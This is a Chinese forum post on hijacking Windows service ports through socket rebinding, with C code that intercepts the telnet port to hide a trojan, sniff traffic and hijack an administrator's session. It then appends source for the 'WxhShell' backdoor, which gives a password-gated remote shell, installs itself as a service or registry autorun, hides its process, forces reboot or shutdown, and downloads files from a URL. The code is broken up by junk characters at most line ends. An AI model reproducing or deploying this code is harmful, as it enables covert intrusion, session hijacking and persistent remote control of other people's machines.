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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: Tm]nEl)_  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); F-Z%6O,2  
.?C%1a&_l  
  saddr.sin_family = AF_INET; #>;FUZuJr  
_K2?YY(#>  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); "T/>d%O1b  
lw%?z/HDf  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 4NVV5_K a  
dm rps+L  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 `A%^UCd  
9e!NOl\_;.  
  这意味着什么?意味着可以进行如下的攻击: ye 6H*K  
YL^=t^ !4  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 -!qu"A:  
pz^<\  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) XP[uF ;w  
K5Wg"^AHY/  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 I lR\  #  
?gGt2O1J  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  yQS+P8x&|]  
<M?:  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 |Q~cX!;  
-OZ 5vH0  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 ^:, l\Y  
RH0>ZZR  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 5R$G(Ap_  
i y YJR  
  #include 2pHR_mrb  
  #include ,n,RFa  
  #include I 1d0iU  
  #include    1xyU  
  DWORD WINAPI ClientThread(LPVOID lpParam);   W3W'oo  
  int main() T4e\0.If  
  { JF9yVE-  
  WORD wVersionRequested; pI+!92Z  
  DWORD ret; !X >=l  
  WSADATA wsaData; ~iBgw&Y  
  BOOL val; >>dm }X  
  SOCKADDR_IN saddr; a[bBT@f  
  SOCKADDR_IN scaddr; CLD-mx|?  
  int err; _gNz9$S  
  SOCKET s; AZ|yX  
  SOCKET sc; ,"-Rf<q/  
  int caddsize; G%p~m%zIK  
  HANDLE mt; wJb#g0  
  DWORD tid;   2Tav;LKX  
  wVersionRequested = MAKEWORD( 2, 2 ); SM0M%  
  err = WSAStartup( wVersionRequested, &wsaData ); 5`/@N{e  
  if ( err != 0 ) { .@ C{3$,VG  
  printf("error!WSAStartup failed!\n"); Rn%N&1 Ef  
  return -1; Ko>&)%))$X  
  } cNpe_LvW  
  saddr.sin_family = AF_INET; 4o:hyh   
   wbyE;W  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 '&O/g<Z}q  
^(}585b  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); @*N )i?>  
  saddr.sin_port = htons(23); w JwX[\  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) $Kj&)&M  
  { wle@v Cmr  
  printf("error!socket failed!\n"); fBtm%f  
  return -1; 8{U-m0v  
  } 6~:Sgt nU  
  val = TRUE; `[#x_<\t  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 Q "r_!f  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) `?\tUO2_T  
  { Wm'QP4`  
  printf("error!setsockopt failed!\n"); ^62|d  
  return -1; &}mw'_ I  
  } (oK^c- x  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; iyZZ}M  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 r9 y.i(j  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 kyh_9K1  
u D 5%E7  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) TfxwVPX  
  { 8 S`9dSc  
  ret=GetLastError(); .N4  
  printf("error!bind failed!\n"); fyz nuUl  
  return -1; egR9AEJvz  
  } O[17";P  
  listen(s,2); 3XiO@jzre  
  while(1) =! Vf  
  { g o5]<4`r  
  caddsize = sizeof(scaddr); I:(m aMc  
  //接受连接请求 NW|f7 ItX  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);  c9''  
  if(sc!=INVALID_SOCKET) $h9='0Wi0'  
  { `D( xv  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); rR ES8/  
  if(mt==NULL) #0I{.Wy]  
  { |4)  
  printf("Thread Creat Failed!\n"); G |*(8r()  
  break; +,+vkpL-%  
  } WE}kTq  
  } ;P&y,:<m:  
  CloseHandle(mt); ;T]d M fO  
  } 5 v^yQ<70  
  closesocket(s); `?*%$>W#"  
  WSACleanup(); I|oT0y &  
  return 0; V=I"-k}RL  
  }   &WXY'A=  
  DWORD WINAPI ClientThread(LPVOID lpParam) +^aFs S  
  { $VG*q  
  SOCKET ss = (SOCKET)lpParam; B(k=oXDF  
  SOCKET sc; wmNHT _  
  unsigned char buf[4096]; Yw3oJf&  
  SOCKADDR_IN saddr; wo2@hav  
  long num; `i ,_aFB|  
  DWORD val; )|j[uh6w o  
  DWORD ret; ?B@;QjhjiJ  
  //如果是隐藏端口应用的话,可以在此处加一些判断 mN `YuR~  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   i[C~5}%  
  saddr.sin_family = AF_INET; 'PZ|:9FX!  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1");  9DQ)cy  
  saddr.sin_port = htons(23); {",MCu_V  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 2 gq$C"  
  {  GJi~y  
  printf("error!socket failed!\n"); ivO/;)=t  
  return -1; djQv[Vc {  
  } ]e:/"   
  val = 100; E! /[gZ  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) QR?yG+VU  
  { $lIWd  
  ret = GetLastError(); idc`p?XP  
  return -1; _Jz8{` "  
  } \e=_ 2^v!_  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) pD"vRbYF  
  { f8 /'%$N  
  ret = GetLastError(); i>L+gLW  
  return -1; Uk*IpP`  
  } 3gWvmep1  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) aIy*pmpD=  
  { kB:Uu }(=N  
  printf("error!socket connect failed!\n"); -F&U  
  closesocket(sc); cHA7Kg !  
  closesocket(ss); .%BT,$1K  
  return -1; Mk 0+D#  
  } BC>=B@H0  
  while(1) i=a-<A5x  
  { {yAL+}  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 wCs^J48=  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 Th[f9H%  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 Bm$"WbOq*R  
  num = recv(ss,buf,4096,0); 5  *}R$  
  if(num>0) n>3U_yt6b  
  send(sc,buf,num,0); V!%jf:k  
  else if(num==0) IH48|sa  
  break; F+ <Z<q  
  num = recv(sc,buf,4096,0); MiT}L  
  if(num>0) v dbO(  
  send(ss,buf,num,0); S>G?Q_&}?D  
  else if(num==0) -hcS]~F  
  break; qL6c`(0  
  } YG:3Fhx0~  
  closesocket(ss); M$4k;  
  closesocket(sc); e"]8T},  
  return 0 ; 5 hj  
  } VpfUm?Nq  
'X).y1'  
0<"k8 k@J  
========================================================== <tpmUA[]  
[%~ :@m  
下边附上一个代码,,WXhSHELL  UsGa  
5wB =>  
========================================================== HjvCujJ  
~I/@i  
#include "stdafx.h" M}:=zcZ l  
CZnK8&VDY  
#include <stdio.h> j hYToMq  
#include <string.h> _LP/!D  
#include <windows.h> +h^jC9,m~{  
#include <winsock2.h> wHZW `  
#include <winsvc.h> @Q&3L~K"  
#include <urlmon.h> I +5)Jau^S  
)M=ioE8`h  
#pragma comment (lib, "Ws2_32.lib") kh~'Cn "O  
#pragma comment (lib, "urlmon.lib") Mwb/jTp  
%+ 7p lM  
#define MAX_USER   100 // 最大客户端连接数 @J{m@ji{  
#define BUF_SOCK   200 // sock buffer 6K cD&S/  
#define KEY_BUFF   255 // 输入 buffer g,`A[z2  
f:*vr['d  
#define REBOOT     0   // 重启 G)#$]diNuX  
#define SHUTDOWN   1   // 关机 1"8yLvtn  
LZPuDf~/  
#define DEF_PORT   5000 // 监听端口 f-6vLX\Vu  
waX>0e  
#define REG_LEN     16   // 注册表键长度 AL/?,%F  
#define SVC_LEN     80   // NT服务名长度 EcIE~qs  
t$2_xX  
// 从dll定义API K]/4qH$:  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); HCK|~k  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); n%h^o   
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); V$0dtvGvH  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Z UKf`m[  
g71[6<D  
// wxhshell配置信息 rG?>ltxB  
struct WSCFG { tqAd$:L  
  int ws_port;         // 监听端口 d\e7,"L*Q  
  char ws_passstr[REG_LEN]; // 口令 A[G0 .>Wk  
  int ws_autoins;       // 安装标记, 1=yes 0=no $,I q;*7N  
  char ws_regname[REG_LEN]; // 注册表键名 yJuQ8+vgR}  
  char ws_svcname[REG_LEN]; // 服务名 z"D.Bm~ ]  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 tH=P6vY  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 3X9b2RY*L/  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 b[z]CP  
int ws_downexe;       // 下载执行标记, 1=yes 0=no jVLA CWH  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" }:: S 0l  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 MT(o"ltQ  
5<I   
}; 01!s"wjf  
V)Z70J <'  
// default Wxhshell configuration d]9U^iy  
struct WSCFG wscfg={DEF_PORT, Iff9'TE  
    "xuhuanlingzhe", '65LKD  
    1, I%|>2}-_U  
    "Wxhshell", ntNI]~z&  
    "Wxhshell", R1&unm0  
            "WxhShell Service", =U|N=/y#hJ  
    "Wrsky Windows CmdShell Service", 1+b{}d  
    "Please Input Your Password: ", ' |-JWH  
  1, e\O/H<  
  "http://www.wrsky.com/wxhshell.exe", '=][J_  
  "Wxhshell.exe" [c_|ob]  
    }; E{6~oZ#L  
(}.@b|s  
// 消息定义模块 2Q;9G6p  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; V"cKJ;s  
char *msg_ws_prompt="\n\r? for help\n\r#>"; f7Ul(D:j\  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Q{e\}wN  
char *msg_ws_ext="\n\rExit."; :Xc@3gF  
char *msg_ws_end="\n\rQuit."; O1')nYF7  
char *msg_ws_boot="\n\rReboot..."; zy*/T>{#  
char *msg_ws_poff="\n\rShutdown..."; -}K<ni6  
char *msg_ws_down="\n\rSave to "; 9&<x17'  
k X {0y  
char *msg_ws_err="\n\rErr!"; \OlmF<~  
char *msg_ws_ok="\n\rOK!"; ?UM*Xah  
keRE==(D  
char ExeFile[MAX_PATH]; 5SCKP<rb  
int nUser = 0; 04r$>#E  
HANDLE handles[MAX_USER]; L(GjZAP  
int OsIsNt; `y#UJYXQE  
cqxVAzb  
SERVICE_STATUS       serviceStatus; UH7jP#W%=  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ZiLj=bh  
o1nURJ!  
// 函数声明 (8_\^jJ  
int Install(void); \EseGgd21  
int Uninstall(void); r1RGTEkD  
int DownloadFile(char *sURL, SOCKET wsh); 1CLL%\V  
int Boot(int flag); 5nbEf9&  
void HideProc(void); )O:0 ]=#))  
int GetOsVer(void); 26CS6(sn  
int Wxhshell(SOCKET wsl); 6(P M'@i  
void TalkWithClient(void *cs); @{Gncy|  
int CmdShell(SOCKET sock); E 7-@&=]v  
int StartFromService(void); \"hJCP?,  
int StartWxhshell(LPSTR lpCmdLine); A!^q J#  
V|\7')Qq  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); qZ@s#UiB  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); w3jO6*_ M  
yCCrK@{oo  
// 数据结构和表定义 r(gXoq_w  
SERVICE_TABLE_ENTRY DispatchTable[] = F5S@I;   
{ 4&l10fR5  
{wscfg.ws_svcname, NTServiceMain}, !A48TgAeE  
{NULL, NULL} ]qhPd_$?D'  
}; Sna4wkbS  
}1IpON  
// 自我安装 `({T]@]V  
int Install(void) LR" 9D  
{ ! VjFW5'{  
  char svExeFile[MAX_PATH]; Sp@-p9#  
  HKEY key; V59(Z  
  strcpy(svExeFile,ExeFile); kQ]$%Lk[  
tBpC: SG  
// 如果是win9x系统,修改注册表设为自启动 -_$$Te  
if(!OsIsNt) { =-p$jXVW%  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 7g_]mG [6  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 'uy/o)L  
  RegCloseKey(key); nB .G  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { [=~pe|8:  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); vTn}*d.K=  
  RegCloseKey(key); iYC9eEF  
  return 0; \l~*PG2  
    } 47J5oPT2'  
  } $\9~)Rq6  
} ,0LU~AGe   
else {  T Q,?>6n  
4*$G & TX  
// 如果是NT以上系统,安装为系统服务 e1P"[|9>R  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); mc4i@<_?  
if (schSCManager!=0) %.Q !oYehj  
{ {z|;Xi::"  
  SC_HANDLE schService = CreateService JchSMc.9  
  ( 0wS+++n$5  
  schSCManager, Y".RPiTL  
  wscfg.ws_svcname, L@fY$Rw  
  wscfg.ws_svcdisp, Q|@4bzi)  
  SERVICE_ALL_ACCESS, Sfdu`MQR  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , *g^x*|f6  
  SERVICE_AUTO_START, IsR!'%Pu  
  SERVICE_ERROR_NORMAL, !W?gR.0$=  
  svExeFile, }l=xiAF  
  NULL, XC+A_"w)  
  NULL, S{3nM<  
  NULL, 08*v~(T  
  NULL, -IV]U*4  
  NULL [n}T|<  
  ); 4WK3.6GN  
  if (schService!=0) {5  sO  
  { 7F'`CleU  
  CloseServiceHandle(schService); c [5KG}  
  CloseServiceHandle(schSCManager); &4_qF^9J  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); i&n'N8D@  
  strcat(svExeFile,wscfg.ws_svcname); /t(C>$ }p  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { mx=BD'  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); vhhC> 7  
  RegCloseKey(key); h yv2SxP*  
  return 0; 2PG [7u^  
    } Sf8{h|71  
  } `jOX6_z?I  
  CloseServiceHandle(schSCManager); 71l%MH  
} TiH) 5  
} b5^OQH{v  
4ni3kmvX  
return 1; M+x,opl  
} 0x!2ihf  
Fgh]KQ/5  
// 自我卸载 QPq7R  
int Uninstall(void) b6*!ACY  
{ ]~Z6;  
  HKEY key; N\bocMc,X  
+U@<\kIF  
if(!OsIsNt) { 4!wR_@W^El  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { twx[ s$O'b  
  RegDeleteValue(key,wscfg.ws_regname); & GreN  
  RegCloseKey(key); dh $bfAb  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { h?pkE  
  RegDeleteValue(key,wscfg.ws_regname); D:K4H+ch  
  RegCloseKey(key); ()H:UvM=t  
  return 0; e zOj+vz  
  } }[xs~! 2F  
} <'g:T(t  
} 1</kTm/Qa  
else { [ I/<_AT#  
QMZ)-ty"  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); z0do;_x]E  
if (schSCManager!=0) m1*O0Tg]"  
{ }m-FGk  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); '{B!6|"X  
  if (schService!=0) ~^cMys |'  
  { -! K-Htb-  
  if(DeleteService(schService)!=0) { /S lYm-uQ+  
  CloseServiceHandle(schService); M4W5f#C5Ee  
  CloseServiceHandle(schSCManager); Rx+p.  
  return 0; c}0@2Vf  
  } ,f&5pw =  
  CloseServiceHandle(schService); nb>7UN.9  
  } ivz{L-  
  CloseServiceHandle(schSCManager); -(bkr+N  
} <Z/x,-^*<  
} r4#o+qE  
Ggb5K8D*  
return 1; yR\btx|e5~  
} zi3\63D3eO  
Kx%Sku<F'  
// 从指定url下载文件 2j&AiD  
int DownloadFile(char *sURL, SOCKET wsh) cSm%s  
{ B9J&=6`)  
  HRESULT hr; (V HL{rj  
char seps[]= "/"; y(xJT j  
char *token; jfqopiSi  
char *file; =*LS%WI  
char myURL[MAX_PATH]; %x} O1yV  
char myFILE[MAX_PATH]; n9xAPB }  
)<Hd T  
strcpy(myURL,sURL); s S7c!  
  token=strtok(myURL,seps); vZBc !AW  
  while(token!=NULL) E^ SH\5B  
  { zO MA  
    file=token; /ID?DtJ  
  token=strtok(NULL,seps); |*0<M(YXN  
  } Ho *AAg  
f-7 1~  
GetCurrentDirectory(MAX_PATH,myFILE); x UD-iSY  
strcat(myFILE, "\\"); qZA).12qS  
strcat(myFILE, file); 9,"L^W8"k  
  send(wsh,myFILE,strlen(myFILE),0); ,11H.E Z  
send(wsh,"...",3,0); z'EajBB\f  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); c7FRI0X  
  if(hr==S_OK) 0a"c2J  
return 0; TG5XSy  
else P->y_4O  
return 1; ) v,:N.@Q  
,kn"> k9  
} 'u1?tQ=gmk  
6efnxxY}sa  
// 系统电源模块 X7g1:L1Ys  
int Boot(int flag) G"XVn~]  
{ VH1d$  
  HANDLE hToken; =>! Y{: y(  
  TOKEN_PRIVILEGES tkp; ]]wA[c~G  
}B.H|*uO  
  if(OsIsNt) { oTuOw|[  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Bb"Bg\le,^  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); [ra_ 2R  
    tkp.PrivilegeCount = 1; G-.^O,%  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; A, LuD.8  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); i?F >+  
if(flag==REBOOT) { _\GC(  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) $"H{4 x`-  
  return 0; AlIpsJ[UU  
} ut I"\1hQ  
else { Aj4T"^fv  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) UTH_^HAN#G  
  return 0; Sh8"F@P8  
} " _ka<R..  
  } w2'f/  
  else {  pn5Q5xc  
if(flag==REBOOT) { :65~[$2  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) os]8BScx  
  return 0; qDfd.gL  
} %GS(:]{n  
else { #: [<iSk  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Ch3jxgQY  
  return 0; Ub * wuI  
} uPl\I6k  
} `p;I}  
-B$2\ZE  
return 1; jyZWV L:_  
} 9AJ7h9L  
XnWr5-;  
// win9x进程隐藏模块 N/K.%<h  
void HideProc(void) wLOB}ZMT  
{ 9^G/8<^^>  
Aw5HF34J  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); S :<Nc{C  
  if ( hKernel != NULL ) Gnq?"</  
  { !_cg\K U#  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); {R? U.eJW  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); tyqT  
    FreeLibrary(hKernel); / :n#`o=;  
  } F 70R1OYU  
f V'ZsJ N  
return; $H9%J  
} J:zU,IIJ  
PIwFF}<(  
// 获取操作系统版本 Y*vW!yu  
int GetOsVer(void) f__cn^1  
{ "*srx]  
  OSVERSIONINFO winfo; x}"uZ$g  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); vz7J-CH  
  GetVersionEx(&winfo); c:o]d)S  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) xM&Wgei]10  
  return 1; 8;+B*+%@n  
  else 'GS"8w~j  
  return 0; T, )__h  
} 428>BQA  
|='z{WS  
// 客户端句柄模块 z-.+x3&o @  
int Wxhshell(SOCKET wsl) 1NgCw\  
{ 9vvx*rD  
  SOCKET wsh; 5Ezw ~hn  
  struct sockaddr_in client; Pf\D-1gi  
  DWORD myID; m4l& eEp  
5?F__Hx*2  
  while(nUser<MAX_USER) Bx4w)9+3  
{ U_n9]Z  
  int nSize=sizeof(client); .jk@IL  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 9#MBaO8_"  
  if(wsh==INVALID_SOCKET) return 1; yooX$  
;CPr]avY  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); [J4gH^Z_  
if(handles[nUser]==0) E{Ov>osq  
  closesocket(wsh); "q.\>MCv  
else J2xw) +  
  nUser++; ~ijVmWNk  
  } B=^)Ub5'  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); hUp.tK:X7o  
!FElW`F  
  return 0; )E-inHD /  
} AN/;)wc  
:lPb.UCY  
// 关闭 socket n T{3o;A  
void CloseIt(SOCKET wsh) Ne[7gxpu  
{ < v@9#c  
closesocket(wsh); q$B>|y U  
nUser--; iA'lon  
ExitThread(0); y+c|vdW%  
} {_ i\f ]L  
6 '!4jh  
// 客户端请求句柄 V`XNDNJ:  
void TalkWithClient(void *cs) K,:cJ  
{ ECrex>zr%  
uP~@U"!  
  SOCKET wsh=(SOCKET)cs; Vt".%d/`7  
  char pwd[SVC_LEN]; #AL=f'2=f  
  char cmd[KEY_BUFF]; DkvF5c&  
char chr[1]; W"}M1o  
int i,j; ~nh:s|l6%M  
pxCK;]  
  while (nUser < MAX_USER) { }}\vV}s  
C8 xZ;V]  
if(wscfg.ws_passstr) { pu 7{a  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 8TLgNQP  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); j/_ s"}m{  
  //ZeroMemory(pwd,KEY_BUFF); LH kc7X$  
      i=0; 34%RZG_o'  
  while(i<SVC_LEN) { odjT:Vr  
gT0BkwIV  
  // 设置超时 VFURAYS  
  fd_set FdRead; FrL]^59a  
  struct timeval TimeOut; e%@~MQ-  
  FD_ZERO(&FdRead); >aj7||K  
  FD_SET(wsh,&FdRead); > dI LF  
  TimeOut.tv_sec=8; ^h ~x)@=  
  TimeOut.tv_usec=0; `lO[x.[  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); kT"Kyd  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); +'I+o5*  
3L_\`Ia9  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); W;'!gpa  
  pwd=chr[0]; VcSVu  
  if(chr[0]==0xd || chr[0]==0xa) { \KQ71yqY  
  pwd=0; +zaA,e?\  
  break; / zB0J?  
  } =/y]d<g  
  i++; a1+#3X.  
    } X[PZg{   
2[ RoxKm  
  // 如果是非法用户,关闭 socket =u2l. CX  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ]yx$(6_U  
} zMm#Rhn  
d%RC  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); |Lf"6^@yh  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); rvbLyv;~  
@|63K)Xy  
while(1) { vY${;#~|  
R`DKu=  
  ZeroMemory(cmd,KEY_BUFF); Nn~~!q  
u'|4?"uz  
      // 自动支持客户端 telnet标准   ||hb~%JK6  
  j=0;  PT=2@kH  
  while(j<KEY_BUFF) { gcPTLh[^Er  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); pb ~u E  
  cmd[j]=chr[0]; ]* F\"C@  
  if(chr[0]==0xa || chr[0]==0xd) { j.w@(<=x  
  cmd[j]=0; aI6$?wus  
  break; h]5C|M|  
  } GqaDL3Niqs  
  j++; 7=TF.TW)  
    } v/68*,z[  
j53*E )d  
  // 下载文件 h_:C+)13`x  
  if(strstr(cmd,"http://")) { vq^f}id  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); +eyc`J  
  if(DownloadFile(cmd,wsh)) s:/8[(A  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4'`{H@]tb  
  else  \N!AXD  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); U(Nu%  
  } K9$>Yxe|  
  else { \?0&0;5  
#sPHdz'3M  
    switch(cmd[0]) { 9`I _Et  
  +*ZO&yJQ^<  
  // 帮助 6y+Kjd/D  
  case '?': { -@yh> 8v  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); @SJL\{_  
    break; tiB_a}5IB  
  } 6r"eN%m  
  // 安装 wkA+j9.  
  case 'i': { rz wF~-m +  
    if(Install()) Oiz ,w7LRh  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Ljxz.2LGr  
    else tyXuG<  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); B_nVP  
    break; WN?O'E=2  
    } Rot@x r7Hc  
  // 卸载 kP#B5K_U|  
  case 'r': { cZB7fmq%  
    if(Uninstall()) Ne8Cgp  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); M dZ&A}S  
    else 3D!5T8 @  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); @kpv{`Y  
    break; 2XFU1 AW  
    } <j*;.yyC  
  // 显示 wxhshell 所在路径 ^?0DP >XA  
  case 'p': { PP;}e  
    char svExeFile[MAX_PATH]; +BVym~*^  
    strcpy(svExeFile,"\n\r"); zLD0RBj7p  
      strcat(svExeFile,ExeFile); T (OW  
        send(wsh,svExeFile,strlen(svExeFile),0); Ir`eL  
    break; /<@SFF.  
    } *c~T@m~DR  
  // 重启 !46RGU:I  
  case 'b': { k9  "[H'  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); WN{ 9  
    if(Boot(REBOOT)) cik!GA  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); E*.{=W }C  
    else { \>jLRb|7Ts  
    closesocket(wsh); (]0%}$Fo  
    ExitThread(0); SB1upTn  
    } @.b+av4J  
    break; *5vV6][  
    } M=1nQF2J  
  // 关机 4 Y ;Nm1 @  
  case 'd': { Mn9dqq~a  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); N^HUijw<  
    if(Boot(SHUTDOWN)) 2 ^mJ+v<  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9o;^[Ql-  
